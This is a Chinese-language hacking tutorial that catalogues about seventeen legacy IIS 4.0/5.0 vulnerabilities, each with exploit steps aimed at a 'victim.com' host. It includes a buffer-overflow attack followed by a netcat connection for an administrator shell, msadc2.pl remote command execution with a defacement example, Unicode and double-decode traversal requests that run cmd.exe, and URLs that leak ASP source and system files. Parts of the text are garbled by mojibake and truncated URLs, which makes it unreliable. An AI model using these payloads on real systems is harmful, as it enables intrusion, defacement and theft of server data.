1. iis4hack緩沖溢出
主要存在于.htr,.idc和.stm文件中,其對關于這些文件的URL請求
沒有對名字進行充分的邊界檢查,導致運行攻擊者插入一些后門程序
在系統中下載和執行程序。
要檢測這樣的站點你需要兩個文件iishack.exe,ncx.exe,你可以到下面
的站點www.technotronic.com去下載,另外你?..己的WEB服務器。
你現在你自己的WEB服務器上運行WEB服務程序并把ncx.exe放到你自己相應
的目錄下,然后使用iishack.exe來檢查目標機器:
c:\\>iishack.exe
然后你就使.netcat來連接你要檢測的服務器:
c:\\>nc
如果溢出點正確你就可以看到目標機器的命令行提示,并且是管理遠權限。
利用程序見iis4hack.zip
2.msadc
IIS的MDAC組件存在一個漏洞可以導致攻擊者遠程執行
你系統的命令。主要核心問題是存在于RDS Datafactory,默認情況下,
它允許遠程命令發送到IIS服務器中,這命令會以設備用戶的身份運行,
其一般默認情況下是SYSTEM用戶。
利用程序為msadc2.pl,我們看看它的help
[quack@chat quack]$ perl msadc2.pl -h
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Usage: msadc.pl -h
-h
-d
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5
-u <\\\\host\\share\\file> = use UNC file
-w = Windows 95 instead of Windows NT
-c = v1 compatibility (three step query)
-s
Or a -R will resume a (v2) command session
[quack@chat quack]$ perl msadc2.pl -http://www.targe.com/ ;
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c
如果出現cmd /c后,直接鍵入命令行,就可以以system權限執行命令了。比如xundi教的:
echo hacked by me > d:\\inetpub\\wwwroot\\victimweb\\index.htm
3.Codebrws.asp
察看文件源代碼
http://www.victim.com/iisamples/exa...ks/codebrws.asp ;
4.Showcode.asp
察看文件源代碼
http://www.victim.com/msadc/samples..../winnt/win.ini ;
5.Null.htw
察看文件源代碼
http://www.victim.com/null.htw?CiWe...HiliteType=full ;
6.webhits.dll & .htw
hit-highligting功能是由Index Server提供的允許一個WEB用戶在
文檔上highlighted(突出)他們原妓閹韉奶蹌浚?飧鑫牡檔拿?滯ü?
變量CiWebhitsfile傳遞給.htw文件,Webhits.dll是一個ISAPI應用程序
來處理請求,打開文件并返回結果,當用戶控制了CiWebhitsfile參數傳遞
給.htw時,他們就可以請求任意文件,結果就是導致查看ASP源碼和其他
腳本文件內容。要了解你是否存在這個漏洞,你可以請求如下條目:
http://www.victim.com/nosuchfile.htw ;
如果你從服務器端獲得如下信息:
format of the QUERY_STRING is invalid
這就表示你存在這個漏洞。
這個問題主要就是webhits.dll關聯了.htw文件的映射,所以你只要取消
這個映射就能避免這個漏洞,你可以在你認為有漏洞的系統中搜索.htw
文件,一般會發現如下的程序:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (這個一般為loopback使用)
一個攻擊者可以使用如下的方法來訪問系統中文件的內容:
http://www.victim.com/iissamples/is...p/qfullhit.htw? ;
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
就會在有此漏洞系統中win.ini文件的內容。 7.ASP Alternate Data Streams(::$DATA)
要查看一些.asp文件的內容,你可以請求如下的URL:
$DATA你就得到了源代碼
8.ASP Dot Bug
在請求的URL結尾追加一個或者多個點導致泄露ASP源代碼。
http://www.victim.com/sample.asp. ;
9.ISM.DLL
這個漏洞是由Cerberus Information Security team.最早發現的,它運行
在IIS4.0和5.0上面,允許攻擊者查看任意文件內容和源代碼。通過在文件
名后面追加近230個+或者?%20?(這些表示空格)并追加?.htr?的特殊請求給IIS,
會使IIS認為客戶端請求的是?.htr?文件,而.htr文件的后綴映射到ISM.DLL
ISAPI應用程序,這樣IIS就把這個.htr請求轉交給這個DLL文件,然后ISM.DLL
程序把傳遞過來的文件打開和執行,但在ISM.DLL 截斷信息之前,緩沖區發送
一個截斷開的 .Htr 并會有一些時間去返回一些你要打開的文件內容.
除非 WEB 服務停止并重啟過,否則這攻擊只能有效執行一次。如果已經
發送過一個 .htr 請求到機器上,那么這攻擊會失效.它只能在 ISM.DLL
第一次裝入內存時工作.CNNS發現追加+號到沒有一次攻擊這個問題,可以進行
多次攻擊。
http://www.victim.com/global.asa%20%20(...<=230)global.asa.htr
10. .idc & .ida Bugs
這個漏洞實際上類似ASP dot 漏洞,其能在IIS4.0上顯示其WEB目錄信息,
很奇怪的說有些還在IIS5.0上發現過此類漏洞,通過增加?idc?或者?ida?
后綴到URL會導致IIS嘗試允許通過數據庫連接程序.DLL來運行.IDC,如果
此.idc不存在,它就返回一些信息給客戶端。
http://www.victim.com/anything.idc ;或者 anything.idq
11.+.htr Bug
對有些ASA和ASP追加+.htr的URL請求就會導致文件源代碼的泄露:
http://www.victim.com/global.asa+.htr ;
12.NT Site Server Adsamples
通過請求site.csc,一般保存在/adsamples/config/site.csc中,攻擊者
可能獲得一些如數據庫中的DSN,UID和PASS的一些信息,如:
http://www.victim.com/adsamples/config/site.csc ;
13./iisadmpwd
IIS4.0中包含一個有趣的特征就是允許遠程用戶攻擊WEB服務器上的用戶
帳號,就是你的WEB服務器是通過NAT來轉換地址的,還可以被攻擊。
每個IIS4.0安裝的時候建立一個虛擬目錄/iisadmpwd,這個目錄包含多個
.htr文件,匿名用戶允許訪問這些文件,這些文件剛好沒有規定只限制
在loopback addr(127.0.0.1),請求這些文件就跳出對話框讓你通過WEB
來修改用戶的帳號和密碼。這個目錄物理映射在下面的目錄下:
c:\\winnt\\system32\\inetsrv\\iisadmpwd
Achg.htr
Aexp.htr
Aexp2.htr
Aexp2b.htr
Aexp3.htr
Aexp4.htr
Aexp4b.htr
Anot.htr
Anot3.htr
這樣,攻擊者可以通過暴力來猜測你的密碼。
14.Translate:f Bug
泄露asp文件源代碼
存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中,
當有人請求一個ASP/ASA后者其他任意腳本的時候在HTTP GET加上Translate:f
后綴,并在請求文件后面加/就會顯示文件代碼,當然在沒有打WIN2K SP1補丁
為前提。這個是W2K的漏洞,但由于FP2000也安裝在IIS4.0上,所以在IIS4.0
上也有這個漏洞。
利用程序: trasn1.pl,trans2.pl
15.Unicode
IIS 4.0和IIS 5.0在Unicode字符解碼的實現中存在
一個安全漏洞,導致用戶可以遠程通過IIS執行任意命令。當IIS打開文件時,
如果該文件名包含unicode字符,它會對其進行解碼,如果用戶提供一些特殊
的編碼,將導致IIS錯誤的打開或者執行某些web根目錄以外的文件。
http://www.victim.com/s cripts/..%c1.../cmd.exe?/c+dir
http://www.victim.com/s cripts/..%c0.../cmd.exe?/c+dir
http://www.victim.com/s cripts/..%c1.../cmd.exe?/c+dir
http://www.victim.com/a.asp/..%c1%1..../winnt/win.ini ;
可能需要察看以下幾個目錄
GET /s cripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\\\ HTTP/1.0\\r\\n\\r\\n
GET /msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\\\ HTTP/1.0\\r\\n\\r\\n
GET /_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\\\ HTTP/1.0\\r\\n\\r\\n
GET /_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\\\ HTTP/1.0\\r\\n\\r\\n
GET /cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\\\ HTTP/1.0\\r\\n\\r\\n
eeye開發了工具包iishack1.5針對這一漏洞進行測試
16.iis5.0 緩沖溢出
微軟Win 2K IIS 5的打印ISAPI擴展接口建立了.printer擴展名到msw3prt.dll的映射關系,缺省情況下該映射存在。當遠程用戶提交對.printer的URL請求時,IIS 5調用msw3prt.dll解釋該請求。由于msw3prt.dll缺乏足夠的緩沖區邊界檢查,遠程用戶可以提交一個精心構造的針對.printer的URL請求,其\"Host:\"域包含大約420字節的數據,此時在msw3prt.dll中發生典型的緩沖區溢出,潛在允許執行任意代碼。溢出發生后,WEB服務停止響應,Win 2K可以檢查到WEB服務停止響應,從而自動重啟它,因此系統管理員很難意識到發生過攻擊。
利用程序見iis5hack.zip
17.IIS CGI文件名二次解碼漏洞
IIS在加載可執行CGI程序時,會進行兩次解碼。第一次解碼是對CGI文件名進行http解碼,然后判斷此文件名是否為可執行文件,例如檢查后綴名是否為\".exe\"或\".com\"等等。在文件名檢查通過之后,IIS會再進行第二次解碼。正常情況下,應該只對該CGI的參數進行解碼,然而,IIS錯誤地將已經解碼過的CGI文件名和CGI參數一起進行解碼。這樣,CGI文件名就被錯誤地解碼了兩次。 通過精心構造CGI文件名,攻擊者可以繞過IIS對文件名所作的安全檢查,例如對\"../\"或\"./\"的檢查,在某些條件下,攻擊者可以執行任意系統命令。
例如,對于’\\’這個字符,正常編碼后是%5c。這三個字符對應的編碼為:
’%’ = %25
’5’ = %35
’c’ = %63
如果要對這三個字符再做一次編碼,就可以有多種形式,例如:
%255c
%%35c
%%35%63
%25%35%63
...
因此,\"..\\\"就可以表示成\"..%255c\"或\"..%%35c\"等等形式。
在經過第一次解碼之后,變成\"..%5c\"。IIS會認為這是一個正常的字符串,不會違反安全規則檢查。而在第二次被解碼之后,就會變成\"..\\\"。因此攻擊者就可以使用\"..\\\"來進行目錄遍歷,執行web目錄之外的任意程序。